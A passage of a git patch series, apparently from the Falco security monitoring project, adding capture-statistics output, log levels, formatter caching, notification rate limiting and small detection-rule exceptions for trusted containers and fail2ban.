m_last_stats.n_evts; + delta.n_drops = cstats.n_drops - m_last_stats.n_drops; + delta.n_preemptions = cstats.n_preemptions - m_last_stats.n_preemptions; + } + + m_output << "{\"sample\": " << m_num_stats << + ", \"cur\": {" << + "\"events\": " << cstats.n_evts << + ", \"drops\": " << cstats.n_drops << + ", \"preemptions\": " << cstats.n_preemptions << + "}, \"delta\": {" << + "\"events\": " << delta.n_evts << + ", \"drops\": " << delta.n_drops << + ", \"preemptions\": " << delta.n_preemptions << + "}, \"drop_pct\": " << (delta.n_evts == 0 ? 0 : (100.0*delta.n_drops/delta.n_evts)) << + "}," << endl; + + m_last_stats = cstats; + } +} diff --git a/userspace/falco/statsfilewriter.h b/userspace/falco/statsfilewriter.h new file mode 100644 index 00000000..8c95a0aa --- /dev/null +++ b/userspace/falco/statsfilewriter.h @@ -0,0 +1,30 @@ +#pragma once + +#include + +#include + +// Periodically collects scap stats files and writes them to a file as +// json. + +class StatsFileWriter { +public: + StatsFileWriter(); + virtual ~StatsFileWriter(); + + // Returns success as bool. On false fills in errstr. + bool init(sinsp *inspector, std::string &filename, + uint32_t interval_sec, + string &errstr); + + // Should be called often (like for each event in a sinsp + // loop). + void handle(); + +protected: + uint32_t m_num_stats; + sinsp *m_inspector; + std::ofstream m_output; + + scap_stats m_last_stats; +}; From 47bd6af69a038df1549e0a6b6153e069e84dc569 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Mon, 5 Dec 2016 11:59:55 -0800 Subject: [PATCH 52/63] Add ability to write "extra" stuff to stats file. When run via scripts like run_performance_tests.sh, it's useful to include extra info like the test being run and the specific program variant to the stats file. So support that via the environment. Environment keys starting with FALCO_STATS_EXTRA_XXX will have the XXX and environment value added to the stats file. It's undocumented as I doubt other programs will need this functionality and it keeps the docs simpler. --- test/run_performance_tests.sh | 14 +++++++++--- userspace/falco/statsfilewriter.cpp | 34 +++++++++++++++++++++++++++-- userspace/falco/statsfilewriter.h | 4 +++- 3 files changed, 46 insertions(+), 6 deletions(-) diff --git a/test/run_performance_tests.sh b/test/run_performance_tests.sh index b9885c1f..4663709b 100644 --- a/test/run_performance_tests.sh +++ b/test/run_performance_tests.sh @@ -143,13 +143,13 @@ function start_subject_prog() { if [ -z $RULES_FILE ]; then RULES_FILE=$SOURCE/../output/rules.yaml fi - sudo $ROOT/test_mm -s $SOURCE/search_order.yaml -r $RULES_FILE > ./prog-output.txt 2>&1 & + sudo FALCO_STATS_EXTRA_variant=$VARIANT FALCO_STATS_EXTRA_benchmark=$live_test $ROOT/test_mm -S $SOURCE/search_order.yaml -s $STATS_FILE -r $RULES_FILE > ./prog-output.txt 2>&1 & elif [[ $ROOT == *"falco"* ]]; then echo " starting falco..." if [ -z $RULES_FILE ]; then RULES_FILE=$SOURCE/rules/falco_rules.yaml fi - sudo $ROOT/userspace/falco/falco -c $SOURCE/falco.yaml -r $RULES_FILE --option=stdout_output.enabled=false > ./prog-output.txt -A 2>&1 & + sudo FALCO_STATS_EXTRA_variant=$VARIANT FALCO_STATS_EXTRA_benchmark=$live_test $ROOT/userspace/falco/falco -c $SOURCE/falco.yaml -s $STATS_FILE -r $RULES_FILE --option=stdout_output.enabled=false > ./prog-output.txt -A 2>&1 & elif [[ $ROOT == *"sysdig"* ]]; then echo " starting sysdig..." sudo $ROOT/userspace/sysdig/sysdig -N -z evt.type=none & @@ -323,6 +323,7 @@ usage() { echo " -r/--root: root directory containing falco/sysdig binaries (i.e. where you ran 'cmake')" echo " -s/--source: root directory containing falco/sysdig source code" echo " -R/--results: append test results to this file" + echo " -S/--stats: append capture statistics to this file (only works for falco/test_mm)" echo " -o/--output: append program output to this file" echo " -U/--rules: path to rules file (only applicable for falco/test_mm)" echo " -t/--test: test to run. Argument has the following format:" @@ -342,7 +343,7 @@ usage() { echo " -F/--falco-agent: When running an agent, whether or not to enable falco" } -OPTS=`getopt -o hv:r:s:R:o:U:t:T: --long help,variant:,root:,source:,results:,output:,rules:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"` +OPTS=`getopt -o hv:r:s:R:S:o:U:t:T: --long help,variant:,root:,source:,results:,stats:,output:,rules:,test:,tracedir:,agent-autodrop:,falco-agent: -n $0 -- "$@"` if [ $? != 0 ]; then echo "Exiting" >&2 @@ -356,6 +357,7 @@ ROOT=`dirname $0`/../build SOURCE=$ROOT SCRIPTDIR=`dirname $0` RESULTS_FILE=`dirname $0`/results.json +STATS_FILE=`dirname $0`/capture_stats.json OUTPUT_FILE=`dirname $0`/program-output.txt RULES_FILE= TEST=trace:all @@ -371,6 +373,7 @@ while true; do -r | --root ) ROOT="$2"; shift 2;; -s | --source ) SOURCE="$2"; shift 2;; -R | --results ) RESULTS_FILE="$2"; shift 2;; + -S | --stats ) STATS_FILE="$2"; shift 2;; -o | --output ) OUTPUT_FILE="$2"; shift 2;; -U | --rules ) RULES_FILE="$2"; shift 2;; -t | --test ) TEST="$2"; shift 2;; @@ -405,6 +408,11 @@ if [ -z $RESULTS_FILE ]; then exit 1 fi +if [ -z $STATS_FILE ]; then + echo "An output file for capture statistics must be provided. Not continuing." + exit 1 +fi + if [ -z $OUTPUT_FILE ]; then echo "An file for program output must be provided. Not continuing." exit 1 diff --git a/userspace/falco/statsfilewriter.cpp b/userspace/falco/statsfilewriter.cpp index e50032b5..8f01b4ef 100644 --- a/userspace/falco/statsfilewriter.cpp +++ b/userspace/falco/statsfilewriter.cpp @@ -11,6 +11,8 @@ static void timer_handler (int signum) g_save_stats = true; } +extern char **environ; + StatsFileWriter::StatsFileWriter() : m_num_stats(0), m_inspector(NULL) { @@ -48,6 +50,30 @@ bool StatsFileWriter::init(sinsp *inspector, string &filename, uint32_t interval return false; } + // (Undocumented) feature. Take any environment keys prefixed + // with FALCO_STATS_EXTRA_XXX and add them to the output. Used by + // run_performance_tests.sh. + for(uint32_t i=0; environ[i]; i++) + { + char *p = strstr(environ[i], "="); + if(!p) + { + errstr = string("Could not find environment separator in ") + string(environ[i]); + return false; + } + string key(environ[i], p-environ[i]); + string val(p+1, strlen(environ[i])-(p-environ[i])-1); + if(key.compare(0, 18, "FALCO_STATS_EXTRA_") == 0) + { + string sub = key.substr(18); + if (m_extra != "") + { + m_extra += ", "; + } + m_extra += "\"" + sub + "\": " + "\"" + val + "\""; + } + } + return true; } @@ -73,8 +99,12 @@ void StatsFileWriter::handle() delta.n_preemptions = cstats.n_preemptions - m_last_stats.n_preemptions; } - m_output << "{\"sample\": " << m_num_stats << - ", \"cur\": {" << + m_output << "{\"sample\": " << m_num_stats; + if(m_extra != "") + { + m_output << ", " << m_extra; + } + m_output << ", \"cur\": {" << "\"events\": " << cstats.n_evts << ", \"drops\": " << cstats.n_drops << ", \"preemptions\": " << cstats.n_preemptions << diff --git a/userspace/falco/statsfilewriter.h b/userspace/falco/statsfilewriter.h index 8c95a0aa..57d91d74 100644 --- a/userspace/falco/statsfilewriter.h +++ b/userspace/falco/statsfilewriter.h @@ -1,6 +1,8 @@ #pragma once #include +#include +#include #include @@ -25,6 +27,6 @@ protected: uint32_t m_num_stats; sinsp *m_inspector; std::ofstream m_output; - + std::string m_extra; scap_stats m_last_stats; }; From 8e2a3ef5c3d9c1815378783eac153b2e510b1f40 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Mon, 5 Dec 2016 18:08:52 -0800 Subject: [PATCH 53/63] Modify plotting script to handle drop stats. New argument --metric, which can be cpu|drops, controls whether to graph cpu usage or event drop percentage. Titles/axis labels/etc. change appropriately. --- test/plot-live.r | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/test/plot-live.r b/test/plot-live.r index 1305da65..b9d4acc8 100644 --- a/test/plot-live.r +++ b/test/plot-live.r @@ -13,23 +13,35 @@ if (substr(script.basename, 1, 1) != '/') { results = paste(script.basename, "results.json", sep='/') output = "./output.png" +metric = "cpu" GetoptLong( "results=s", "Path to results file", "benchmark=s", "Benchmark from results file to graph", "variant=s@", "Variant(s) to include in graph. Can be specified multiple times", - "output=s", "Output graph file" + "output=s", "Output graph file", + "metric=s", "Metric to graph. Can be one of (cpu|drops)" ) +if (metric == "cpu") { + data_metric="cpu_usage" + yaxis_label="CPU Usage (%)" + title="Falco/Sysdig/Multimatch CPU Usage: %s" +} else if (metric == "drops") { + data_metric="drop_pct" + yaxis_label="Event Drops (%)" + title="Falco/Sysdig/Multimatch Event Drops: %s" +} + res <- fromJSON(results, flatten=TRUE) res2 = res[res$benchmark == benchmark & res$variant %in% variant,] -plot <- ggplot(data=res2, aes(x=sample, y=cpu_usage, group=variant, colour=variant)) + +plot <- ggplot(data=res2, aes(x=sample, y=get(data_metric), group=variant, colour=variant)) + geom_line() + - ylab("CPU Usage (%)") + + ylab(yaxis_label) + xlab("Time") + - ggtitle(sprintf("Falco/Sysdig CPU Usage: %s", benchmark)) + ggtitle(sprintf(title, benchmark)) theme(legend.position=c(.2, .88)); print(paste("Writing graph to", output, sep=" ")) From a616301bd964f0f581cde4c245528a66f1ce7671 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Tue, 6 Dec 2016 11:34:30 -0800 Subject: [PATCH 54/63] Cache formatters. Instead of creating a formatter for each event, cache them and create them only when needed. A new function output_cleanup cleans up the cached formatters, and is called in the destructor if init() was called. --- userspace/falco/falco_outputs.cpp | 17 +++++++++++++++++ userspace/falco/falco_outputs.h | 3 +++ userspace/falco/lua/output.lua | 18 ++++++++++++++++-- 3 files changed, 36 insertions(+), 2 deletions(-) diff --git a/userspace/falco/falco_outputs.cpp b/userspace/falco/falco_outputs.cpp index f77eb802..2f11a9b6 100644 --- a/userspace/falco/falco_outputs.cpp +++ b/userspace/falco/falco_outputs.cpp @@ -27,13 +27,28 @@ along with falco. If not, see . using namespace std; falco_outputs::falco_outputs() + : m_initialized(false) { } falco_outputs::~falco_outputs() { + if(m_initialized) + { + lua_getglobal(m_ls, m_lua_output_cleanup.c_str()); + if(!lua_isfunction(m_ls, -1)) + { + throw falco_exception("No function " + m_lua_output_cleanup + " found. "); + } + + if(lua_pcall(m_ls, 0, 0, 0) != 0) + { + const char* lerr = lua_tostring(m_ls, -1); + throw falco_exception(string(lerr)); + } + } } void falco_outputs::init(bool json_output) @@ -52,6 +67,8 @@ void falco_outputs::init(bool json_output) falco_formats::init(m_inspector, m_ls, json_output); falco_logger::init(m_ls); + + m_initialized = true; } void falco_outputs::add_output(output_config oc) diff --git a/userspace/falco/falco_outputs.h b/userspace/falco/falco_outputs.h index 247d837c..b9627489 100644 --- a/userspace/falco/falco_outputs.h +++ b/userspace/falco/falco_outputs.h @@ -51,7 +51,10 @@ public: void handle_event(sinsp_evt *ev, std::string &level, std::string &priority, std::string &format); private: + bool m_initialized; + std::string m_lua_add_output = "add_output"; std::string m_lua_output_event = "output_event"; + std::string m_lua_output_cleanup = "output_cleanup"; std::string m_lua_main_filename = "output.lua"; }; diff --git a/userspace/falco/lua/output.lua b/userspace/falco/lua/output.lua index e2ec0127..39a321c8 100644 --- a/userspace/falco/lua/output.lua +++ b/userspace/falco/lua/output.lua @@ -24,6 +24,8 @@ mod.levels = levels local outputs = {} +local formatters = {} + function mod.stdout(level, msg) print (msg) end @@ -75,14 +77,26 @@ end function output_event(event, rule, priority, format) local level = level_of(priority) format = "*%evt.time: "..levels[level+1].." "..format - formatter = formats.formatter(format) + if formatters[rule] == nil then + formatter = formats.formatter(format) + formatters[rule] = formatter + else + formatter = formatters[rule] + end + msg = formats.format_event(event, rule, levels[level+1], formatter) for index,o in ipairs(outputs) do o.output(level, msg, o.config) end +end - formats.free_formatter(formatter) +function output_cleanup() + for rule, formatter in pairs(formatters) do + formats.free_formatter(formatter) + end + + formatters = {} end function add_output(output_name, config) From ef08478bb74a690f28cbbad1afd518d6e5df564d Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 7 Dec 2016 16:13:12 -0800 Subject: [PATCH 55/63] Add log levels. Previously, log messages had levels, but it only influenced the level argument passed to syslog(). Now, add the ability to control log level from falco itself. New falco.yaml argument "log_level" can be one of the strings corresponding to the well-known syslog levels, which is converted to a syslog-style level as integer. In falco_logger::log(), skip messages below the specified level. --- falco.yaml | 6 ++++ userspace/falco/configuration.cpp | 4 +++ userspace/falco/logger.cpp | 50 +++++++++++++++++++++++++++++++ userspace/falco/logger.h | 4 +++ 4 files changed, 64 insertions(+) diff --git a/falco.yaml b/falco.yaml index d9a0d9d7..9a7be23e 100644 --- a/falco.yaml +++ b/falco.yaml @@ -9,6 +9,12 @@ json_output: false log_stderr: true log_syslog: true +# Minimum log level to include in logs. Note: these levels are +# separate from the priority field of rules. This refers only to the +# log level of falco's internal logging. Can be one of "emergency", +# "alert", "critical", "error", "warning", "notice", "info", "debug". +log_level: info + # Where security notifications should go. # Multiple outputs can be enabled. diff --git a/userspace/falco/configuration.cpp b/userspace/falco/configuration.cpp index 63716d72..429efde4 100644 --- a/userspace/falco/configuration.cpp +++ b/userspace/falco/configuration.cpp @@ -101,6 +101,10 @@ void falco_configuration::init(string conf_filename, list &cmdline_optio throw invalid_argument("Error reading config file (" + m_config_file + "): No outputs configured. Please configure at least one output file output enabled but no filename in configuration block"); } + string log_level = m_config->get_scalar("log_level", "info"); + + falco_logger::set_level(log_level); + falco_logger::log_stderr = m_config->get_scalar("log_stderr", false); falco_logger::log_syslog = m_config->get_scalar("log_syslog", true); } diff --git a/userspace/falco/logger.cpp b/userspace/falco/logger.cpp index aa60fb27..e651be0c 100644 --- a/userspace/falco/logger.cpp +++ b/userspace/falco/logger.cpp @@ -20,18 +20,62 @@ along with falco. If not, see . #include "logger.h" #include "chisel_api.h" +#include "falco_common.h" + const static struct luaL_reg ll_falco [] = { {"syslog", &falco_logger::syslog}, {NULL,NULL} }; +int falco_logger::level = LOG_INFO; void falco_logger::init(lua_State *ls) { luaL_openlib(ls, "falco", ll_falco, 0); } +void falco_logger::set_level(string &level) +{ + if(level == "emergency") + { + falco_logger::level = LOG_EMERG; + } + else if(level == "alert") + { + falco_logger::level = LOG_ALERT; + } + else if(level == "critical") + { + falco_logger::level = LOG_CRIT; + } + else if(level == "error") + { + falco_logger::level = LOG_ERR; + } + else if(level == "warning") + { + falco_logger::level = LOG_WARNING; + } + else if(level == "notice") + { + falco_logger::level = LOG_NOTICE; + } + else if(level == "info") + { + falco_logger::level = LOG_INFO; + } + else if(level == "debug") + { + falco_logger::level = LOG_DEBUG; + } + else + { + throw falco_exception("Unknown log level " + level); + } +} + + int falco_logger::syslog(lua_State *ls) { int priority = luaL_checknumber(ls, 1); @@ -49,6 +93,12 @@ bool falco_logger::log_stderr = true; bool falco_logger::log_syslog = true; void falco_logger::log(int priority, const string msg) { + + if(priority > falco_logger::level) + { + return; + } + if (falco_logger::log_syslog) { ::syslog(priority, "%s", msg.c_str()); } diff --git a/userspace/falco/logger.h b/userspace/falco/logger.h index e0f0e2bf..dd5759df 100644 --- a/userspace/falco/logger.h +++ b/userspace/falco/logger.h @@ -32,11 +32,15 @@ class falco_logger public: static void init(lua_State *ls); + // Will throw exception if level is unknown. + static void set_level(string &level); + // value = falco.syslog(level, message) static int syslog(lua_State *ls); static void log(int priority, const string msg); + static int level; static bool log_stderr; static bool log_syslog; }; From af8d6c9d10bd55b1a77e958c7333eeffbfb19022 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 7 Dec 2016 15:15:36 -0800 Subject: [PATCH 56/63] Make google_containers/kube-proxy a trusted image. Add google_containers/kube-proxy as a trusted image (can be run privileged, can mount sensitive filesystems). While our k8s deployments run kube-proxy via the hyperkube image, evidently it's sometimes run via its own image. This is one of the fixes for #156. Also update the output message for this rule. --- rules/falco_rules.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index b554c9f5..2ae9b8b9 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -287,12 +287,12 @@ priority: WARNING - macro: trusted_containers - condition: (container.image startswith sysdig/agent or container.image startswith sysdig/falco or container.image startswith sysdig/sysdig or container.image startswith gcr.io/google_containers/hyperkube) + condition: (container.image startswith sysdig/agent or container.image startswith sysdig/falco or container.image startswith sysdig/sysdig or container.image startswith gcr.io/google_containers/hyperkube or container.image startswith gcr.io/google_containers/kube-proxy) - rule: File Open by Privileged Container desc: Any open by a privileged container. Exceptions are made for known trusted images. condition: (open_read or open_write) and container and container.privileged=true and not trusted_containers - output: File opened for read/write by non-privileged container (user=%user.name command=%proc.cmdline %container.info file=%fd.name) + output: File opened for read/write by privileged container (user=%user.name command=%proc.cmdline %container.info file=%fd.name) priority: WARNING - macro: sensitive_mount From b509c4f0c8829d8c4bd076390ddc032840f4981b Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 7 Dec 2016 16:24:52 -0800 Subject: [PATCH 57/63] Fix misleading variable name. The second argument to handle_event is actually a rule name, but the variable was a misleading "level". Fix. --- userspace/falco/falco_outputs.cpp | 4 ++-- userspace/falco/falco_outputs.h | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/userspace/falco/falco_outputs.cpp b/userspace/falco/falco_outputs.cpp index 2f11a9b6..0e1bf27e 100644 --- a/userspace/falco/falco_outputs.cpp +++ b/userspace/falco/falco_outputs.cpp @@ -103,14 +103,14 @@ void falco_outputs::add_output(output_config oc) } -void falco_outputs::handle_event(sinsp_evt *ev, string &level, string &priority, string &format) +void falco_outputs::handle_event(sinsp_evt *ev, string &rule, string &priority, string &format) { lua_getglobal(m_ls, m_lua_output_event.c_str()); if(lua_isfunction(m_ls, -1)) { lua_pushlightuserdata(m_ls, ev); - lua_pushstring(m_ls, level.c_str()); + lua_pushstring(m_ls, rule.c_str()); lua_pushstring(m_ls, priority.c_str()); lua_pushstring(m_ls, format.c_str()); diff --git a/userspace/falco/falco_outputs.h b/userspace/falco/falco_outputs.h index b9627489..3593d357 100644 --- a/userspace/falco/falco_outputs.h +++ b/userspace/falco/falco_outputs.h @@ -48,7 +48,7 @@ public: // ev is an event that has matched some rule. Pass the event // to all configured outputs. // - void handle_event(sinsp_evt *ev, std::string &level, std::string &priority, std::string &format); + void handle_event(sinsp_evt *ev, std::string &rule, std::string &priority, std::string &format); private: bool m_initialized; From 54b30bc24861fa52746a5d40ffd0f8beb877d1fa Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Wed, 7 Dec 2016 16:25:58 -0800 Subject: [PATCH 58/63] Add rate-limiting for notifications Add token-bucket based rate limiting for falco notifications. The token bucket is implemented in token_bucket.cpp (actually in the engine directory, just to make it easier to include in other programs). It maintains a current count of tokens (i.e. right to send a notification). Its main method is claim(), which attemps to claim a token and returns true if one was claimed successfully. It has a configurable configurable max burst size and rate. The token bucket gains "rate" tokens per second, up to a maximum of max_burst tokens. These parameters are configurable in falco.yaml via the config options (defaults shown): outputs: rate: 1 max_burst: 1000 In falco_outputs::handle_event(), try to claim a token, and if unsuccessful log a debug message and return immediately. --- falco.yaml | 15 ++++++ userspace/engine/CMakeLists.txt | 2 +- userspace/engine/token_bucket.cpp | 78 +++++++++++++++++++++++++++++++ userspace/engine/token_bucket.h | 68 +++++++++++++++++++++++++++ userspace/falco/configuration.cpp | 3 ++ userspace/falco/configuration.h | 2 + userspace/falco/falco.cpp | 2 +- userspace/falco/falco_outputs.cpp | 10 +++- userspace/falco/falco_outputs.h | 6 ++- 9 files changed, 182 insertions(+), 4 deletions(-) create mode 100644 userspace/engine/token_bucket.cpp create mode 100644 userspace/engine/token_bucket.h diff --git a/falco.yaml b/falco.yaml index 9a7be23e..d407b75b 100644 --- a/falco.yaml +++ b/falco.yaml @@ -15,6 +15,21 @@ log_syslog: true # "alert", "critical", "error", "warning", "notice", "info", "debug". log_level: info +# A throttling mechanism implemented as a token bucket limits the +# rate of falco notifications. This throttling is controlled by the following configuration +# options: +# - rate: the number of tokens (i.e. right to send a notification) +# gained per second. Defaults to 1. +# - max_burst: the maximum number of tokens outstanding. Defaults to 1000. +# +# With these defaults, falco could send up to 1000 notifications after +# an initial quiet period, and then up to 1 notification per second +# afterward. It would gain the full burst back after 1000 seconds of +# no activity. + +outputs: + rate: 1 + max_burst: 1000 # Where security notifications should go. # Multiple outputs can be enabled. diff --git a/userspace/engine/CMakeLists.txt b/userspace/engine/CMakeLists.txt index 96ec10a7..2f6a0c31 100644 --- a/userspace/engine/CMakeLists.txt +++ b/userspace/engine/CMakeLists.txt @@ -4,7 +4,7 @@ include_directories("${PROJECT_SOURCE_DIR}/../sysdig/userspace/libsinsp") include_directories("${PROJECT_BINARY_DIR}/userspace/engine") include_directories("${LUAJIT_INCLUDE}") -add_library(falco_engine STATIC rules.cpp falco_common.cpp falco_engine.cpp formats.cpp) +add_library(falco_engine STATIC rules.cpp falco_common.cpp falco_engine.cpp token_bucket.cpp formats.cpp) target_include_directories(falco_engine PUBLIC "${LUAJIT_INCLUDE}") diff --git a/userspace/engine/token_bucket.cpp b/userspace/engine/token_bucket.cpp new file mode 100644 index 00000000..c1ae9b0c --- /dev/null +++ b/userspace/engine/token_bucket.cpp @@ -0,0 +1,78 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + +#include +#include + +#include "token_bucket.h" + +token_bucket::token_bucket() +{ + init(1, 1); +} + +token_bucket::~token_bucket() +{ +} + +void token_bucket::init(uint32_t rate, uint32_t max_tokens) +{ + m_rate = rate; + m_max_tokens = max_tokens; + m_tokens = max_tokens; + m_last_seen = get_epoch_ns(); +} + +bool token_bucket::claim() +{ + // Determine the number of tokens gained. Delta between + // last_seen and now, divided by the rate. + uint64_t now = get_epoch_ns(); + uint64_t tokens_gained = (now - m_last_seen) / (m_rate * 1000000000); + m_last_seen = now; + + m_tokens += tokens_gained; + + // + // Cap at max_tokens + // + if(m_tokens > m_max_tokens) + { + m_tokens = m_max_tokens; + } + + // + // If tokens is < 1, can't claim. + // + if(m_tokens < 1) + { + return false; + } + + m_tokens--; + + return true; +} + +uint64_t token_bucket::get_epoch_ns() +{ + struct timeval tv; + gettimeofday(&tv, NULL); + + return tv.tv_sec * (uint64_t) 1000000000 + (tv.tv_usec * 1000); +} diff --git a/userspace/engine/token_bucket.h b/userspace/engine/token_bucket.h new file mode 100644 index 00000000..f9f62e00 --- /dev/null +++ b/userspace/engine/token_bucket.h @@ -0,0 +1,68 @@ +/* +Copyright (C) 2016 Draios inc. + +This file is part of falco. + +falco is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License version 2 as +published by the Free Software Foundation. + +falco is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with falco. If not, see . +*/ + +#pragma once + +#include + +// A simple token bucket that accumulates tokens at a fixed rate and allows +// for limited bursting in the form of "banked" tokens. +class token_bucket +{ +public: + token_bucket(); + virtual ~token_bucket(); + + // + // Initialize the token bucket and start accumulating tokens + // + void init(uint32_t rate, uint32_t max_tokens); + + // + // Returns true if a token can be claimed. Also updates + // internal metrics. + // + bool claim(); +private: + + // Utility function to get the time in nanoseconds since the epoch. + uint64_t get_epoch_ns(); + + // + // The number of tokens generated per second. + // + uint64_t m_rate; + + // + // The maximum number of tokens that can be banked for future + // claim()s. + // + uint64_t m_max_tokens; + + // + // The current number of tokens + // + uint64_t m_tokens; + + // + // The last time claim() was called (or the object was created). + // Nanoseconds since the epoch. + // + uint64_t m_last_seen; +}; + diff --git a/userspace/falco/configuration.cpp b/userspace/falco/configuration.cpp index 429efde4..74d828a0 100644 --- a/userspace/falco/configuration.cpp +++ b/userspace/falco/configuration.cpp @@ -105,6 +105,9 @@ void falco_configuration::init(string conf_filename, list &cmdline_optio falco_logger::set_level(log_level); + m_notifications_rate = m_config->get_scalar("outputs", "rate", 1); + m_notifications_max_burst = m_config->get_scalar("outputs", "max_burst", 1000); + falco_logger::log_stderr = m_config->get_scalar("log_stderr", false); falco_logger::log_syslog = m_config->get_scalar("log_syslog", true); } diff --git a/userspace/falco/configuration.h b/userspace/falco/configuration.h index 3bf3d8ff..42f3b681 100644 --- a/userspace/falco/configuration.h +++ b/userspace/falco/configuration.h @@ -144,6 +144,8 @@ class falco_configuration std::list m_rules_filenames; bool m_json_output; std::vector m_outputs; + uint32_t m_notifications_rate; + uint32_t m_notifications_max_burst; private: void init_cmdline_options(std::list &cmdline_options); diff --git a/userspace/falco/falco.cpp b/userspace/falco/falco.cpp index b55b2c6a..fb2fa6db 100644 --- a/userspace/falco/falco.cpp +++ b/userspace/falco/falco.cpp @@ -427,7 +427,7 @@ int falco_init(int argc, char **argv) engine->enable_rule(pattern, false); } - outputs->init(config.m_json_output); + outputs->init(config.m_json_output, config.m_notifications_rate, config.m_notifications_max_burst); if(!all_events) { diff --git a/userspace/falco/falco_outputs.cpp b/userspace/falco/falco_outputs.cpp index 0e1bf27e..69c3b271 100644 --- a/userspace/falco/falco_outputs.cpp +++ b/userspace/falco/falco_outputs.cpp @@ -51,7 +51,7 @@ falco_outputs::~falco_outputs() } } -void falco_outputs::init(bool json_output) +void falco_outputs::init(bool json_output, uint32_t rate, uint32_t max_burst) { // The engine must have been given an inspector by now. if(! m_inspector) @@ -68,6 +68,8 @@ void falco_outputs::init(bool json_output) falco_logger::init(m_ls); + m_notifications_tb.init(rate, max_burst); + m_initialized = true; } @@ -105,6 +107,12 @@ void falco_outputs::add_output(output_config oc) void falco_outputs::handle_event(sinsp_evt *ev, string &rule, string &priority, string &format) { + if(!m_notifications_tb.claim()) + { + falco_logger::log(LOG_DEBUG, "Skipping rate-limited notification for rule " + rule + "\n"); + return; + } + lua_getglobal(m_ls, m_lua_output_event.c_str()); if(lua_isfunction(m_ls, -1)) diff --git a/userspace/falco/falco_outputs.h b/userspace/falco/falco_outputs.h index 3593d357..a1cd2876 100644 --- a/userspace/falco/falco_outputs.h +++ b/userspace/falco/falco_outputs.h @@ -19,6 +19,7 @@ along with falco. If not, see . #pragma once #include "falco_common.h" +#include "token_bucket.h" // // This class acts as the primary interface between a program and the @@ -40,7 +41,7 @@ public: std::map options; }; - void init(bool json_output); + void init(bool json_output, uint32_t rate, uint32_t max_burst); void add_output(output_config oc); @@ -53,6 +54,9 @@ public: private: bool m_initialized; + // Rate limits notifications + token_bucket m_notifications_tb; + std::string m_lua_add_output = "add_output"; std::string m_lua_output_event = "output_event"; std::string m_lua_output_cleanup = "output_cleanup"; From 4f645c49e1fc4f7d37c967a771e6ebbc2a642cda Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Thu, 8 Dec 2016 10:59:47 -0800 Subject: [PATCH 59/63] Use sinsp utils version of get time. sinsp_utils::get_current_time_ns() has the same purpose as get_epoch_ns(), and now that we're including the token bucket in falco_engine, it's easy to package the dependency. So use that function instead. --- userspace/engine/token_bucket.cpp | 13 +++---------- userspace/engine/token_bucket.h | 3 --- 2 files changed, 3 insertions(+), 13 deletions(-) diff --git a/userspace/engine/token_bucket.cpp b/userspace/engine/token_bucket.cpp index c1ae9b0c..93f04924 100644 --- a/userspace/engine/token_bucket.cpp +++ b/userspace/engine/token_bucket.cpp @@ -19,6 +19,7 @@ along with falco. If not, see . #include #include +#include "utils.h" #include "token_bucket.h" token_bucket::token_bucket() @@ -35,14 +36,14 @@ void token_bucket::init(uint32_t rate, uint32_t max_tokens) m_rate = rate; m_max_tokens = max_tokens; m_tokens = max_tokens; - m_last_seen = get_epoch_ns(); + m_last_seen = sinsp_utils::get_current_time_ns(); } bool token_bucket::claim() { // Determine the number of tokens gained. Delta between // last_seen and now, divided by the rate. - uint64_t now = get_epoch_ns(); + uint64_t now = sinsp_utils::get_current_time_ns(); uint64_t tokens_gained = (now - m_last_seen) / (m_rate * 1000000000); m_last_seen = now; @@ -68,11 +69,3 @@ bool token_bucket::claim() return true; } - -uint64_t token_bucket::get_epoch_ns() -{ - struct timeval tv; - gettimeofday(&tv, NULL); - - return tv.tv_sec * (uint64_t) 1000000000 + (tv.tv_usec * 1000); -} diff --git a/userspace/engine/token_bucket.h b/userspace/engine/token_bucket.h index f9f62e00..b9c0d8b9 100644 --- a/userspace/engine/token_bucket.h +++ b/userspace/engine/token_bucket.h @@ -40,9 +40,6 @@ public: bool claim(); private: - // Utility function to get the time in nanoseconds since the epoch. - uint64_t get_epoch_ns(); - // // The number of tokens generated per second. // From bed5ab4f0c37ebe8d71bf9738ba7e0a78c301d30 Mon Sep 17 00:00:00 2001 From: Jonathan Coetzee Date: Thu, 15 Dec 2016 00:12:31 +0200 Subject: [PATCH 60/63] Add fail2ban-server as spawn shell trusted binary fail2ban spawns a shell to adjust iptables in order to ban/unban IP addresses. --- rules/falco_rules.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml index 2ae9b8b9..5a050024 100644 --- a/rules/falco_rules.yaml +++ b/rules/falco_rules.yaml @@ -282,7 +282,7 @@ - rule: Run shell untrusted desc: an attempt to spawn a shell by a non-shell program. Exceptions are made for trusted binaries. - condition: spawned_process and not container and shell_procs and proc.pname exists and not proc.pname in (cron_binaries, shell_binaries, sshd, sudo, docker_binaries, k8s_binaries, su, tmux, screen, emacs, systemd, login, flock, fbash, nginx, monit, supervisord, dragent, aws, initdb, docker-compose, make, configure, awk, falco) + condition: spawned_process and not container and 